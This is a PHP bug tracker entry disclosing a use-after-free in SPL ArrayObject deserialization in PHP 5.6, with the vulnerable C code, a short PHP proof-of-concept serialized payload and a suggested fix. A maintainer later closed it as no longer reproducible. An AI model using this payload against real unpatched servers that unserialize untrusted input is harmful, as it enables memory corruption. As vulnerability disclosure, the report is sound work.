php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73319 Use-after-free Vulnerabilities in unserialize() with SPL Deserialization
Submitted: 2016-10-14 01:14 UTC Modified: 2020-06-10 10:59 UTC
From: taoguangchen at icloud dot com Assigned: nikic (profile)
Status: Closed Package: SPL related
PHP Version: 5.6.26 OS:
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2016-10-14 01:14 UTC] taoguangchen at icloud dot com
Description:
------------
```
SPL_METHOD(Array, unserialize)
{
  ...
  ALLOC_INIT_ZVAL(pflags);
	if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
		goto outexcept;
	}
  ...
  outexcept:
  	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
  	if (pflags) {
  		zval_ptr_dtor(&pflags);
  	}
  	zend_throw_exception_ex(spl_ce_UnexpectedValueException, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
  	return;
```

When the php_var_unserialize call to fails, zval will be freed via zval_ptr_dtor, but it is still possible to be referenced by external php_var_unserialize.

PoC:
```
<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
			try {
				$this->data = unserialize($data);
			} catch (Exception $e) {
        // do something
      }
    }
}

$inner = 'x:s:1:"A";';
$inner = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';
$data = unserialize($exploit);
var_dump($data);

?>
```

Fix:
Some similar issues exists in other php_var_unserialize call to fails in ArrayObject deserialization, and also exists in SplObjectStorage/SplDoublyLinkedList.
Fix these issues you need to use var_push_dtor_no_addref instead of zval_ptr_dtor.


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2020-06-10 10:59 UTC] nikic@php.net
-Status: Open +Status: Closed -Type: Security +Type: Bug -Assigned To: +Assigned To: nikic
 [2020-06-10 10:59 UTC] nikic@php.net
Can't reproduce any memory corruption in current PHP versions. It looks like this code was switched to use var_tmp_var() at some point, and as such doesn't immediately destroy values any more.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Dec 26 11:01:30 2024 UTC